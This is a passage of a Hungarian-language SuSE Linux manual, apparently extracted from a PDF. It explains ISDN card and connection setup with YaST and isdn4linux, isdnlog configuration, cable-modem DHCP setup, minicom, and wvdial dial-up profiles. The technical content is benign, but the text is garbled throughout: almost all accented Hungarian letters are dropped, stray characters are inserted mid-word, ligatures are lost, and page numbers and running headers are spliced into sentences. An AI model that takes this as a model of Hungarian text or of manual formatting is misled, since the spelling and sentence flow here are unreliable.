6.2. ISDN bellts 19. Ha pldul Netscape-et hasznlunk, mris tudunk barangolni az Interneten. Ha az xisdnload-ot is elindtjuk, megtekinthetjk a kapcsolat llapott. 20. Nhny szolgltat ignyli, hogy adjuk meg a szolgltatnk proxy szervert a Netscape-nek: A Netscape-ben menjnk az Edit, Preferences, Advanced, Proxies, Manual Proxy Configuration-hoz s vlasszuk a View-t. Most mr az ISDN elrsnek futnia kell s az Internet kapcsolatnak automatikusan ltre kell jnnie amint egy Internet cmet berunk pldul a Netscapebe, s a kapcsolat le fog zrdni ha nincs adatforgalom tbb mint 60 msodpercen keresztl. Meggyelhetjk a forgalmat az xisdnload segtsgvel! Ha mgsem m kdik, olvassunk tovbb! u 6.2.2 ttekints

A SuSE Linux tartalmazza a isdn4linux csomagot, amely tartalmaz hardvermeghajtprogramokat s hlzati csatolfelleteket valamint modem emulcit (csak digitlis modemekhez). A szoftver tartalmazza mg az zenetrgzt funkcihoz szksges dolgokat. o Az ISDN meghajtprogram az /sbin/init.d/i4l_hardware-rel indthat (lsd a 17 . fejezetben (457. oldal)). Az ISDN belltsa a isdnctrl -lal kszthet . (lsd man isdnctrl). A o hlzati fellet belltsa ugyanolyan, mint a szabvny Ethernet fellet belltsa az ifconfig (man ifconfig) s a route (man route) segtsgvel. A SuSE Linux-nl az /sbin/init.d/i4l hajtja vgre a feladatot (lsd a 17 . fejezetben (457. oldal)). Minden tevkenysg az /etc/rc.config bejegyzseire alapozdik. Ezek, amennyiben lehetsges, az isdnctrl opciinak bejelentkezsi neveire hasonltanak. A /sbin/init.d/route lltja be az tvonalakat az eszkzknek s megadja a /etc/route.conf-nak. Egy kapcsolat ltestst isdnctrl -lal kveti az /sbin/init.d/i4l, az /etc/rc.config belltsainak hasznlatval. gy lthatjuk azon paramterek felsorolst, amelyeket berhatunk:
meggyfa: # isdnctrl list all

Amint valaki ISDN szolgltatst kr (ez lehet felhasznl vagy egy program), a kapcsolat ltrejn. 6.2.3 ISDN Hardverbellts

Kvetelmnyek Sikeres kapcsolat ltestshez a SuSE Linux-bl szksgnk lesz: 1. egy ISDN kapcsolatra 2. egy tmogatott ISDN vezrl re o 177

6. Kapcsolds a vilghoz s aztn hogyan tovbb? 3. teleptett SuSE Linux-ra 4. egy SuSE Linux standard kernelre (a CD-r l) o Nincs szksgnk kernel fordtsra! Ha mgis kernelt akarunk fordtani, gy z djnk meg rla, hogy a lx_suse , d-b l hasznljuk a forrst! o o o 5. a i4l csomagra az n kszletb l o 6. a dokumentci az i4ldoc csomagban (a doc kszletben) tallhat (ajnlott) Mit kell tudnunk: az ISDN vezrl nek a tpust o a vezrl belltsaitIRQ, port cm, stb. (tpusfgg ) o o az ISDN protokollt amelyet hasznlunk: 1TR6 : (rgi) nemzeti ISDN DSS1 : Euro-ISDN Nhny az alkzpontok kzl (ellenttben a dokumentcijval) mgis hasznlja a 1TR6 -ot a DSS1 helyett. Mi egy MSN/ESZ? Az Euro-ISDN-el kapunk egy MSN-t (Multiple Subscriber Number azaz sszetett El zet i Szm), amely rendszerint a telefonszmunk az el tag o o o nlkl. Ha ppen most zetettnk el az ISDN-re, akkor kapni fogunk ho rom klnbz szmot. Ezek kzl brmelyiket hasznlhatjuk az interneto szolgltatnkkal val kapcsolathoz, ppen ezrt ha mindig ugyanazt a szmot hasznljuk telefonszmknt, klnbsget tudunk tenni kztk a kijelz n. o Alapesetben az ISDN vezrl kzvetlenl kapcsoldik egy NTBA-hoz, de o nem j tlet egy msik S0 busszal kapcsoldni az alkzponthoz. Ha EuroISDN-t hasznlunk az alkzponthoz, az MSN ltalban a mellkvonal szma (kzvetlen hvszm). Az 1TR6-hoz kapunk egy EAZ-t (Nmetl: "Endgeraete Auswahl Ziffer" = vgfelhasznl vlasztszm). Egybknt, ezek azonosan kezelend k. Az o EAZ egy egyszer szm. sszer en vlasszunk egyet az 1-t l 7-ig tartou u o mnybl. Ne feledjk el a 0-t! 6.2.4 ISDN hardver belltsa a YaST-tal

A meghajtprogram sajtmaga gondoskodik egy betlthet kernelmodulrl. o Nem kell a rendszernket jraindtani. A megszokott ISDN vezrl ket tmoo gatja a HiSax meghajt. Nhny vezrl , mint pldul az ICN s az AVM-B1 , valamint a PnP kro tyk mg nem llthatk be a YaST segtsgvel. Ezek klnleges eljrst ignyelnek. Nzzk t az ISDN vezrl k belltsait ennek a rsznek a vge o fel. Itt vannak az egyes lpsek: 178

6.2. ISDN bellts 1. Lpjnk be root felhasznlknt. 2. Indtsuk el a YaST programot. 3. Most vlasszuk a Rendszeradminisztrci, Hardver integrlsa a rendszerbe s ISDN hardver konfigurlst. A men felptst lthatjuk a 6.1 brn.

6.1 bra: az ISDN belltsi menpont a YaST -ban 4. Ezutn rjuk be a kvetkez paramtereket: o Start I4L ISDN csak akkor indthat, ha a beviteli mez aktv. gy ezzel o ellen rizhetjk, vajon egy ISDN kapcsolat automatikusan fog-e ino dulni bekapcsolskor. ISDN protokoll Itt kt lehet sg kzl vlaszthatunk, a rgi (nemzeti) Nmet ISDN o (1TR6) vagy az alaprtelmezett Euro-ISDN (EDSS1) kztt. Ne felejtsk el, hogy egy alkzponton keresztli kapcsolat, gyakran mg mindig 1TR6-ot hasznl. ISDN krtya tpusa Vlasszuk a HiSax ltal tmogatott tpus meghajtt. Nzzk meg a /usr/share/doc/packages/i4l/README.SuSE-t a PnP vezrl kre vonatkozan, valamint a 10.2.1 . fejezetben (312. oldal). o Jegyezzk meg, hogy a PCI krtyk rszre nem kell I/O cmet s megszaktst megadni. Vezrl ID o Ezt hagyjuk rintetlenl a HiSax szmra.

179

6. Kapcsolds a vilghoz s aztn hogyan tovbb? Megszakts Memria alapcm IO port IO0 rtk IO1 rtk Krtya hasznlattl fgg en nhny kiegszt bellts szksges o o lehet. Csak azok a paramterek fognak rendelkezsre llni, amiket a meghajt engedlyez. A tbbiek le vannak tiltva. Belltsok ISDN modulok betltshez Ezek maradjanak resen! Nyomjuk meg az s tovbbi segtsget fogunk kapni. A belltsi F1 -et prbeszd az 6.2 brn lthat.

6.2 bra: az ISDN belltsa a YaST -ban 5. Most er stsk ezt meg a Teszt indtsa megnyomsval. o Ez egy teszt: a modul be fog tlt dni s egy zenet fog tjkoztatni az o ablakban, hogy vajon a krtya belltsai helyesek-e. Ha OK: Er stse meg a Ments megnyomsval. o A belltsaink folyamatosan rdnak a /etc/rc.config.d/ i4l_*-ba, gyhogy azok aktivldni fognak a kvetkez jraindts o sorn, vagy futsi szint vltozsakor. A belltsok megmaradnak, amig meg nem vltoztatjuk oket. A tesztels utn a meghajt betltve marad. Ha hibs: Vizsgljuk s vltoztassuk meg a paramtereket. Ne feledjk el megnzni a /var/log/messages-t. (Emlksznk hogy megnyitottuk, ugye?) Lehetsges problmk: Nhny krtyn a 12 vagy 15-s IRQ nem hasznlhat. 180

6.2. ISDN bellts A megadott cm vagy IRQ mr hasznlatban van. Tvoltsuk el (tesztelsi clbl) az sszes vezrl t, amelyek nem kzvetlenl o szksgesek a tesztelshez (pl. hang s hlzati krtyk). A modulok mr be vannak tltve. Eltvoltsukhoz vltsunk t egy msik konzolra s rjuk be:
meggyfa: # rmmod hisax

A hasznlt krtya PnP berendezs. Tekintsk meg a /usr/ share/doc/packages/i4l/README.SuSE-t tovbbi informcirt. A krtynkat nem tmogatja a HiSax (pl. ICN, AVM-B1). Nzzk meg a /usr/share/doc/packages/i4l/README.SuSE-t. 6. Lpjnk ki a YaST -bl. 7. Az isdnlog belltsa. Be kell lltanunk az isdnlog-ot miel tt indtjuk a modulokat. Ezek a o feladatok (task) felgyelnek minden tevkenysget az S0 buszrendszeren. Most t kell alaktanunk a kvetkez fjlokat az ignyeink szerint: o /etc/isdn/isdn.conf: Az els paramter lltja be az orszgot, ahol hasznljuk az o isdn4linux-ot. Ha ez Magyarorszg, akkor hasznlhatjuk a megadott 6.2.1 fjl lerst.
# /etc/isdn/isdn.conf [GLOBAL] COUNTRYPREFIX = + COUNTRYCODE = 36 AREAPREFIX = 0

6.2.1 fjllista: /etc/isdn/isdn.conf Itt (a GLOBAL krzet), itt teht meg kell adnunk a krzetszmot AREACODE (el hvszm) vezet nulla nlkl. Teht, ha a krzetszo o munk pldul 01, ezt kell bernunk: AREACODE = 1. Magyarorszgon a kvetkez rsz alkalmazsa nem ktelez . o o CHARGEMAX = 200.00 belltsa engedlyezi a maximum dj belltst (Forintban) melyet engedlyeznk naponta. Ne bzzunk ebben a sajtossgban! /etc/isdn/callerid.conf: Itt meg kell adnunk mindegyik ismert telefonszmot. Ltni fogjuk a neveket az MSN-ek helyett a /var/log/messages-ben mikor indtjuk az isdnrep-et. Tekintsk meg pldnkat a 6.2.2 fjllistban. A szmunk 1111111. Az ISP-nk szma 2222222. /etc/isdn/isdnlog.isdnctrl0.options: Itt belltsokat adhatunk meg az isdnlog szmra. Erre alaphelyzetben nincs szksg. 181

6. Kapcsolds a vilghoz s aztn hogyan tovbb?


# /etc/isdn/callerid.conf [MSN] NUMBER = 1111111 SI = 1 ALIAS = myself ZONE = 1 [MSN] NUMBER = 2222222 SI = 1 ALIAS = ISP ZONE = 1

6.2.2 fjllista: /etc/isdn/callerid.conf 8. Most rjuk be a parancsokat:


meggyfa: # init 1 meggyfa: # init 2

teht jraindul minden hlzati szolgltats. Engedlyeznnk s aktvlnunk kell az ISDN-t a YaST -tal, vagy jraindtanunk a gpet, ha ezt rszestjk el nyben. o 6.2.5 Egy ISDN Internet kapcsolat belltsa

ISDN-belltsok az Internetszolgltatnkhoz Egy protokoll belltsa Ezek az ISDN szolgltatk hrom klnfle mdot knlnak: terminl bejelentkezs X.75 hasznlatval rawip-HDLC syncPPP Termszetesen tesztelhetjk brmelyiket ezek kzl a protokollok kzl, de ajnlott, hogy csak az ISP ltal knltakat teszteljk. Kvetelmnyek Az ISDN hardverbelltsi m veletek. u Az ISDN meghajtprogram be legyen tltve. Az MSN/ESZ szmunk kznl legyen. Tudnunk kell melyik protokollt hasznlja az ISP-nk (syncPPP , rawip). Rendelkezsre lljon az ISP telefonszma. Legyen rvnyes felhasznlnevnk s jelszavunk. Ismerjk a szolgltatnk Domain Name Server (DNS)-t.

Ezek a kvetend lpsek: o 182

6.2. ISDN bellts 1. Indtsuk el a YaST -ot s vlasszuk a Rendszeradminisztrci, Hlzatbellts, Hlzat alapbellts-t. A 6.3 brn lthatunk egy kperny kpet. o

6.3 bra: hlzat belltsa YaST -ban 2. Vlasszunk egy szmot, amely mg nincs hasznlatban, pl. 4. 3. Most vlasszuk az ISDN SyncPPP eszkzt az F5 megnyomsval. 4. Nyomjuk meg az (IP cm) s rjuk be: F6 -ot A host IP cmnk: 192.168.0.99 A Point-to-Point partner IP cme: 192.168.0.1 5. Hagyjuk el ezt az ablakot a Folytats megnyomsval. 6. Az F4 megnyomsval aktvlhatjuk a hlzati eszkzt, ha el z leg mr o o megfelel en elksztettk. o 7. Az F8 (ISDN) lehet v teszi nhny ISDN-specikus paramter o megadst. Ez lthat a 6.4 brn. Most rjuk be a kvetkez ket: o Sajt telefonszmunkat (MSN): e.g. A meghvand szmot: 012345678 123456

Nhny alkzpontnl szksges egy 0" a hvshoz. Azt is jegyezzk meg, hogy brmely szm, amit szkzzel vlasztunk el, kt klnbz o telefonszmnak szmt. Szmok, melyeket lehet hvni: Csak behv szerverekhez szksges (s mi jelenleg kifel akarunk hvni). Csak a megadott szmok engedlyezettek: Jelljk be, hogy senki se indthasson nemkvnatos kapcsolatokat a gpnkr l! o 183

6. Kapcsolds a vilghoz s aztn hogyan tovbb?

6.4 bra: ISDN hlzati paramterek belltsa a YaST -ban Trcszsi md: Az auto-val a kapcsolat automatikusan ltrejn ha megkisreljk, s elrhet v vlnak azok a cmek, amelyek rendszerint csak az ISDN o csatoln t hozzfrhet ek. Ha a kzi belltst vlasztjuk a kapcsoo ldshoz kzzel kell ltrehoznunk, szksg szerint. A ki vlasztsa esetn nem lehetsges kapcsolatot ltesteni ezen az ISDN csatoln keresztl. Vrakozsi id: o Egy bizonyos nem hasznlt id tartam utn (vrakozsi id ) a kapcsolat o o lezrul. PPP bejelentkezsi nv: rjuk be a szolgltatnkhoz hasznlt bejelentkezsi nevet. PPP bejelentkezs jelszava: rjuk be a jelszavunkat a szolgltatnkhoz. A jelsz nem fog ltszani a kperny n, de csillao gokkal jelzik. Trolva lesz viszont az /etc/ppp/pap-secrets fjlban. Nyomjuk meg az s tovbbi segtsget fogunk kapni. F1 -et 8. Er stsk meg ezt a Teszt indtsa megnyomsval. o Most egy hlzati teszt indul el. Hibazenetet fogunk kapni, ha brmi rosszul alakul. Ezen a ponton mr nem kellene problmnak jelentkeznie, ha eddig nem volt. Ha OK: Er stsk ezt meg a Ments megnyomsval. Most a beo lltsaink az /etc/rc.config-ba rdnak, s aktvak maradnak addig amg nem vltoztatjuk azokat. A belltsok aktvak a teszt alatt s utn is. Ha hibs: Valami miatt az ISDN modulok nem tlt dtek be. Keressk a o megoldst a /var/log/messages-ben. 184

6.2. ISDN bellts 9. A YaST -ban menjnk a Nvszerver konfigurci menpontba s vlaszoljunk a krdsre Igen-nel. Itt rjuk be a szolgltatnak nvszerver (DNS) IP szmt. Ha netn nem tudnnk, krdezzk meg a szolgltatnktl. Esetleg a krnyezetnkben mr valaki hasznl Linuxot Internettel, akkor krjk meg, hogy rjk be egy terminlablakba a kvetkez parancsot (T-Online-t hasznlunk pldakppen): o whois t-online.de Ilyen vlaszt fogunk kapni, amely a kvetkez sorokat tartalmazza, s o a 6.2.3 fjllistban lthat.
domain: descr: descr: descr: descr: descr: admin-c: tech-c: zone-c: nserver: t-online.de Deutsche Telekom AG, Telekom Online-Dienste Generaldirektion, GK361 Postfach 2000 D-53105 Bonn Germany KHS252-RIPE JS691-RIPE FS340-RIPE dns00.btx.dtag.de

6.2.3 fjllista: A whois t-online.de parancs eredmnye A nserver: sorban lthatjuk a szolgltatnk nvszervert. Most a nvb l az IP cmet kell megtudni. Megszerzshez rjuk be a kvetkez pao o rancsot: host dns00.btx.dtag.de Egy ilyen vlasz rkezik, mint
dns00.btx.dtag.de has address 194.25.2.129

Ez (194.25.2.129) lesz akkor a nvszerver IP szma a T-Online fel. Ha a kapcsolat mgsem m kdik: u Nzzk meg a /var/log/messages-nek "szokatlannak t n " u o eredmnyeit. Prbljuk jra a rawip elrs hasznlatval. Az MSN/EAZ jl van belltva? Kell egy 0-t hvni el szr? o Tovbbi tippeket tallunk a Tmogat Adatbzisban. Ez rendelkezsre ll a http://sdb.suse.de/sdb/en/html cmen a sajt WWW szervern, vagy a SuSE segt rendszeren kereszl (indts susehelp, o vagy menb l), feltve ha teleptettk a susehelp , doc csomagot s a o sdb_en , doc-ot. 10. A kapcsolat most mr valsznleg m kdik. Ezutn vissza kell mennnk u a YaST -hoz, megnyomni a Ments gombot s bezrni a YaST -ot. Dinamikus IP szmok syncPPP segtsgvel Dinamikus IP cmek hasznlata esetben a sajt hasznlatra kapott lcmeket jogosan hasznlhatjuk sajt helynk megjellsre, amg a kapcsolat fennll. 185

6. Kapcsolds a vilghoz s aztn hogyan tovbb? Tovbbi informcik Tovbbi informcikat tallunk arrl hogy hogyan llthatjuk be az ISDN alrendszernket egy ISDN kapcsolathoz a kvetkez forrsokban: o A /usr/share/doc/packages/i4l/README.SuSE fjlban Tmogat-Adatbzis: http://sdb.suse.de/sdb/en/html A i4ldoc csomagban (pl. az ISDN-FAQ a kvetkez fjlban: o /usr/share/doc/packages/i4ldoc/i4l-faq) /usr/share/doc/packages/inetcfg (inetcfg ) pl.: T-Online ISDN segtsgvel 6.2.6 ISDN zenetek

Egy jellegzetes "hiba"zeneti ok a HiSaX-ban kt rszb l ll, a hely s o az ok kdja. Eurpai ISDN esetben ez 5 karaktert tartalmaz, Exxyy, amib l az xx kpviseli a hiba forrst s az yy a hiba okt az zenetben. A o HiSaX ezt a kimenetet mindig hexadecimlis formtumban kszti el. Nhny zenet nem valdi hiba, hanem a norml telefonkapcsolat viselkedst tkrzi ("foglalt", "kapcsolat vge, sztkapcsolssal"). Egy specilis kziknyvoldal ltezik ezekhez az zenetekhez, amely tartalmazza a hibk teljes listjt: lsd man isdn_cause.

6.3

Kbelmodemek

Fordtotta: Zelena Endre Nhny eurpai orszgban, hasonlan az USA-hoz s Kanadhoz, a kbeltvn keresztli Internet-elrs elgg gyakori. Ebben a rszben egy lpsenknti lerst szeretnnk adni a kbeltvs Internet-elrs kialaktshoz. Az itt lertak ltalban alkalmazhatak a legtbb kbeltv szolgltat hlzatnak hasznlathoz. 6.3.1 Az alapok

A kbeltvs Internet el zet a kbelszolgltattl kap egy "modem"-et, o o aminek egyik csatlakozjhoz a kzponti antenna kbele, mg a msikhoz a felhasznl szmtgpe csatlakozik hlzati krtyval, 10Base-T (csavart rpras) kbelen keresztl. Ez a modem reprezentlja az lland kapcsolatot a szmtgp rszre, ltalban x IP-cmmel. A telepts menete 1. Amennyiben a hlzati krtya mr teleptve van a szmtgpben, lsd a 8. lpst. 2. Rendszergazda, azaz root felhasznlknt el kell indtani a YaST -ot. KDE-ben az Alt + F2 megnyomsa utn megjelen ablakba be kell o rni: xterm, majd az j ablakban kell a YaST -ot indtani. 3. Belps a YaST -ban a Rendszeradminisztrci, j hardverelem integrlsa a rendszerbe, Hlzati eszkz belltsa menbe. 186

6.4. T-DSL, T-ISDN-DSL, ADSL. . . 4. A Hlzat tpusa pontba eth0-t rni. 5. A A hlzati eszkz tpus-nl a hlzati krtya tpust kell megadni. 6. A Module opcik-nl a hlzati krtya kernel-moduljnak paramterei adhatak meg, pl. I/O port, memriacm, stb. Lsd a 14 . fejezetben (383. oldal). Figyelem! Ha PCI-buszos hlzati krtyt hasznl, ltalban nem szksges modul-opcit megadni. 7. A Folytats megnyomsa utn a YaST f menbe val visszatrso Esc billenty t. u hez nyomja meg ktszer a 8. Miutn a hlzati krtya teleptsre kerlt, be kell lpni a Rendszeradminisztrci, Hlzati belltsok, Hlzati alapbelltsok menpontba. 9. Ha eddig eljutott, a Hlzat kivlasztsa ablakban tartzkodik. 10. Nyomja meg a F5 billenty t az Ethernet csatol kongurlshoz. u 11. Nyomja meg a s vlassza a DHCP-t. F3 -at, 12. Nyomja meg a az interfsz aktivlshoz. F4 -et 13. Az F10 megnyomsval a kongurci mentsre kerl. 14. Lpjen ki a YaST -bl az Esc nhnyszori megnyomsval. 15. Ezutn aktivlhat a hlzati elrs a rcdhclient start parancs kiadsval, majd tesztelhet a kapcsolat, pldul a ping www.suse.de o parancs kiadsval. Ez a lers a SuSE 6.4, vagy magasabb verzikhoz hasznlhat. Amennyiben mg a SuSE 6.3-at hasznlja, egy tovbbi lpsre van szksg. A YaST -ban be kell lltani a rc.config vltozt yes-re (Lsd a 3.6.12 . fejezetben (116. oldal), hogyan.) Ezutn a hlzat minden jraindts utn elrhet lesz, o minden tovbbi parancs vgrehajtsa nlkl. A fenti mdszer egy lehetsges alternatvja, amennyiben az IP-cm, hlzati maszk s gateway-cm ismert, s lland a x hlzati bellts hasznlata. (Lsd a 5.1 . fejezetben (157. oldal).) Ezekkel az informcikkal kapcsolatban a kbelszolgltatt keresse. A x kongurci el nyei tbo bek kztt az, hogy rendszerindts sorn, amennyiben a hlzati kapcsolat nem zemel, a rendszer norml mdon betlt dik, s a hlzat a kapcsolat o visszallsa utn hasznlhatv vlik.

6.4 T-DSL, T-ISDN-DSL, ADSL. . .


Fordtotta: Zelena Endre Linux alatt a DSL jelleg Internet-elrs (T-ISDN-DSL, ADSL, stb.) tmou gatsa jelenleg fejlesztsi stdiumban van, gy ezekhez kzvetlen tmogatst nem tudunk nyjtani. A support-adatbzisunkban tallhat cikkben tallhat tovbbi informci err l, s az ezzel kapcsolatos legfrisebb fejlesztsekr l. A fenti cikk a o o http://sdb.suse.de/sdb/de/html/hoe_adsl_pppoe.html cmen rhet el. o 187

6. Kapcsolds a vilghoz s aztn hogyan tovbb?

6.5

Modem csatlakoztatsa

Fordtotta: Pet Sndor Lszl o Egy modem gpnkhz val csatlakoztatsnak legkzvetlenebb mdja a soros kbelen keresztli csatlakozs. A YaST -ban meghatrozhatjuk, melyik interfszt kvnjuk hasznlni (lsd a 17.6 . fejezetben (464. oldal)). A modem eszkzre mutat /dev/modem csatols lehet v teszi modemnk elrst, o s gy azzal sem kell tr dnnk, valjban melyik portra csatlakoztattuk azt. o Vannak gynevezett kereskedelmileg elrhet "WinModemek". Ezek o jelenleg kevs kivtelt l eltekintve NEM m kdnek linux alatt. Vessnk o u egy pillantst a http://www.suse.de/sdb/en/html/cep_winmodem.html s a http://www.linmodems.org/ cmekre. A modemekre ltalnossgban mg a Modem-HOWTO.gz vonatkozik. Gyakori terminlprogram a minicom s a seyon (de termszetesen ezekt l o eltr ek is lteznek). o minicom A minicom egy egyszer en hasznlhat terminlprogram, amely a DOS-os u Telix-re hasonlt. Nem bevezetst kvnunk az albbiakban adni, inkbb egy rvid ttekintst a program belltsra vonatkozan. Minden a minicom-ot hasznlni kvn felhasznl nevnek szerepelnie kell a /etc/minicom.users fjlban, amely tartalmazza mely felhasznlk rhetik el a modemet s milyen engedlyekkel rendelkeznek. A minicom a kvetkez kppen llthat be (de csak root felhasznlo knt):
meggyfa:/ # minicom -s

A belltsok nmagukat magyarzzk. A Ctrl + L nem m kdik xterm vagy rxvt alatt, de kvt s szveges u konzol alatt igen.

6.6

Csatlakozs az Internethez: PPP wvdial -lal

A wvdial program nagyon hatkony eszkz az Internet Szolgltathoz vagy ISP-hez val analg PPP kapcsoldsra. Mita ezek az Internet Szolgltatk a PPP protokollban gyakran klnbz belltsokat hasznlnak, nagyon o vesz dsges megtallni a megfelel opcikat. A wvdial ezt lervidti intellio o gens algoritmusai segtsgvel. A mltban az internet kapcsolathoz a linux szmra szksges volt meghatrozni az Internet Szolgltat nvkiszolgljt (DNS Domain Name System). Ez mr nem szksges ha a wvdial -t hasznljuk; ez automatikusan felismeri a szolgltat nvkiszolgljt, s gondoskodik rla, hogy ez az informci elrhet legyen. o 188

6.6. Csatlakozs az Internethez: PPP wvdial -lal 6.6.1 A wvdial belltsa

A wvdial -t knyelmesen bellthatjuk a YaST segtsgvel. Az erre vonatkoz men a Rendszeradminisztrci-ban (System Administration) tallhat, a Hlzat konfigurlsa (Network conguration), PPP hlzat konfigurlsa (Congure a PPP network) alatt. A men a 6.5 brn lthat.

6.5 bra: A Wvdial belltsa Haladjunk az albbiak szerint: Bizonyosodjunk meg arrl, hogy modemnk mr teleptve van a YaST ban; persze ez mr megtrtnhetett a kezd teleptsnl is, vagy most is o megtehetjk (lsd a 3.6.1 . fejezetben (103. oldal)). Vlasszuk ki a Configure the current Profile ment. Gpeljk be a telefonszmot, felhasznli azonostt s jelszt. Vlasszuk az nm kd nvkiszolgl (Automatic DNS) belltst. Ha u o ez nem m kdik, neknk kell meghatroznunk a nvkiszolglt a YaST u ban a rgi mdon (lsd a 3.6.3 . fejezetben (108. oldal)). Vlasszuk ki a trcszsi mdot. Ez ltalban a tone zemmd. Ha egy PBX-hez (private branch exchange) csatlakozunk, ki kell vlasztanunk a Modem on PBX (no dialtone)-t; ekkor a gp nem vr trcszsi hangra. A betrcszs mdhoz rendesen vlasszuk a PPP-direct-PAP/CHAP ment. Zrjuk be az alment. A szolgltat belltsa utn fel kell ismertetnnk a modemnket. Egyszer en vlasszuk ki az Autodetect Modem menpontot. u Ha ez m kdik, vlasszuk ki a Run WvDial-t. Egy ablakot fogunk u ltni klnfle zenetekkel. Ha ltjuk az zenetet, hogy a PPP folyamat elindult, elkezdhetjk hasznlni az internetet. 189

6. Kapcsolds a vilghoz s aztn hogyan tovbb? Hogy ellen rizzk, valban ltrejtt-e a kapcsolat, nyissunk egy msik o terminlablakot (a KDE -ben: Alt + F2 , majd: xterm). A megjelen o terminlablakban rjuk be a kvetkez ket: o
meggyfa: # su

s adjuk meg a root jelszavt. Ezutn rjuk be:


meggyfa: # tail -f /var/log/messages

Most lthatunk jnhny rendszerzenetet megjelenni. Ahogy megltjuk a sorokat a "Local IP:" s a "Remote IP:"-vel - majd ezekutn egy IP szmmal - biztosak lehetnk benne, hogy az internet-kapcsolatunk fut. Az internet-elrs vget r a Ctrl + c letsvel. Ha mindez m kdik, egyszer en a parancssorba begpelve a wvdial -t, u u Ctrl + c -vel. Ha ezt indthat az internet csatlakozs s bonthat a tlagos felhasznlknt is meg akarjuk tenni, (nem csak root)-knt, akkor a kvnt felhasznlt fel kell venni az uucp s a dialout csoportba (lsd a 3.6.8 . fejezetben (114. oldal)). A belltsokat ks bb a YaST hasznlata nlkl, a wvdial.lxdialog, vagy o grakus felleten a wvdial.tcl parancsok hasznlatval mdosthatjuk, termszetesen kizrlag root felhasznlknt. A wvdial dokumentcija a /usr/share/doc/packages/wvdial knyvtrban tallhat. Wvdial tlagos felhasznlk szmra, a biztonsg Ha a root-on kvl tlagos felhasznlk szmra is lehet v kvnjuk o tenni PPP kapcsolatok ltestst, hasznljuk a YaST -ot, s vegyk fel a kvnt felhasznlt az uucp s dialout csoportokba; lsd a 3.6.8 . fejezetben (114. oldal). E felhasznlk szmra biztostanunk kell a /etc/wvdial.conf fjl elrst, amely rendesen tartalmazza az Internet elrs felhasznli nevt s jelszavt. A biztonsg nvelse rdekben a jelszavakat egy vdett fjlba vihetjk t: 1. Lpjnk be a /etc/ppp knyvtrba s root-knt hozzuk ltre a wvpw fjlt 600-as hozzfrsi jogosultsggal:
meggyfa: # cd /etc/ppp meggyfa:/etc/ppp # touch wvpw meggyfa:/etc/ppp # chmod 600 wvpw

2. Nyissuk meg a fjlt egy szerkeszt vel s csak a jelszt gpeljk be, majd o mentsk el a fjlt. 3. Ellen rizzk a wvpw fjl jogosultsgait, hogy helyesen lltottuk-e be; o
meggyfa:/etc/ppp # ls -l wvpw

meger stst kell adnunk ehhez; lsd a 6.6.1 kperny listt. o o 4. Ismteljk meg a belltst a 6.6.1 lertak alapjn; jelszknt, mindazonltal rjuk be a @/etc/ppp/wvpw-t (az "at" szimblum helyesen szerepel az elejn). Ez arrl tjkoztatja a wvdial -t, hogy a jelszt ebb l o a fjlbl olvassa ki. 190

6.6. Csatlakozs az Internethez: PPP wvdial -lal


-rw------1 root root 7 Jan 18 17:20 wvpw

6.6.1 kperny lista: Az ls -l wvpw parancs kimenete o

A modem mindig hangosan spol Ha a modemnk a kapcsolds sorn tlzottan hangos, szrjuk be a /etc/ wvdial.conf fjlba a kvetkez sort: o Init3 = ATM0 Ez a parancs kikapcsolja a modem hagszrjt. 6.6.2 Klnbz szolgltatk hasznlata a wvdial-lal o

A wvdial tetsz leges szm paramtert kpes kezelni. Ennek megttelhez a o /etc/wvdial.conf fjl Dialer Default rsze utn mg kiegszt o rszek helyezhet k el. Mikor a wvdial egy extra paramterrel indul, az o adatokat el szr a "default" rszb l olvassa ki. Azok az adatok, amelyek a o o kiegszt rszben ismt szerepelnek, fellrjk az el z rtkeket. o o o Itt egy kis plda a T-Online, Call-by-Call-Provider-re s Arcor-ra vonatkozan (lsd a 6.6.1 fjllistt. Ebben a YaST bellts mr ltrejtt. A fjl kzileg a 6.6.2 fjllistban lv sorokkal egszlt ki. o
[Dialer Defaults] Modem = /dev/ttyS0 Init1 = ATZ Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 S11=55 +FCLASS=0 Init3 = ATM0 Compuserve = 0 Tonline = 1 Dial Command = ATX3DT Baud = 115200 Auto DNS = 1 Stupid Mode = 0 New PPPD = 1 Phone =0,0191011 Username = ???????? Password = ???????

6.6.1 fjllista: /etc/wvdial.conf: ltalnos rsz Ha a wvdial-t paramterek nlkl hvjuk meg, a kapcsolat a T-Online-nal jn ltre. Ha a wvdial arcor-t begpeljk, a kapcsolat az arcor szekci adataival pl ki. Vessnk egy pillantst a man wvdial paranccsal elrhet o kziknyvlapra. 191

6. Kapcsolds a vilghoz s aztn hogyan tovbb?


[Dialer arcor] Phone = 010700192070 Username = arcor Password = internet

6.6.2 fjllista: /etc/wvdial.conf: hozzf ztt rsz u 6.6.3 ISDN Terminl Adapter Ezek az eszkzk ISDN kapcsolatot tesznek lehet v. Ellenttben egy ltao lnos ISDN adapterrel, a szmtgp s az adapter soros kbelen keresztl kapcsoldik. Egy ISDN-TA-t (= terminl adapter, vagy telefon adapter) ne tvessznk ssze egy PBX eszkz s beptett ISDN krtya kombincijval. Br ezek soros porton keresztl kapcsoldnak, vdett protokollt hasznlnak a soros porton keresztl, ami miatt nem hasznlhatk linux alatt. Egy csatolt CAPI meghajt teleptse szksges PC-nkre, de ez linuxra jelenleg nem elrhet a gyrtktl. Ez a kvetkez eszkzkre vonatkozik: o o Eumex 404 PC Eumex 322 PCi AVM Fritz!XPCDr. Neuhaus Triccy Data LCR

Habr az adapterek egyszer en egy analg modemet szimullnak, ezek az u adapterek klnleges tulajdonsgokkal rendelkeznek; pl.: klnleges parancsra van szksgk a point-to-point csatlakozshoz s alaprtelmezsben ezek kiterjesztett CONNECT zeneteket adnak. Emiatt a modem belltst be kell szablyozni: 1. Ne hasznljunk automatikus modem felismerst, mint amilyet rendesen a YaST nyjt. 2. A YaST -ban a Rendszeradminisztrls-menben vlasszuk ki a Hlzat belltsa-t, ebben a PPP hlzat belltsa Szolgltat belltsa Szakrti men (ISDN, Init Strings, Port and Speed) (Standard analog o modem/non-ISDN) Modem type (analog Modem/ISDN)-t. 3. lltsuk be a modem portot a Szakrti men-ben; lsd a 6.6.1 . o fejezetben (189. oldal). 4. Jelentkezznk be root-knt. 5. Hozzuk ltre a /etc/wvdial.conf-ot kzileg; ez a fjl rendesen automatikusan jn ltre. A fjl tartalmnak megegyez nek kell lennie a 6.6.3 o fjllistval. A <special entry1> s <special entry2> szmra - az eszkz szmra megfelel en be kell rni a kvetkez rtkeket: o o 192

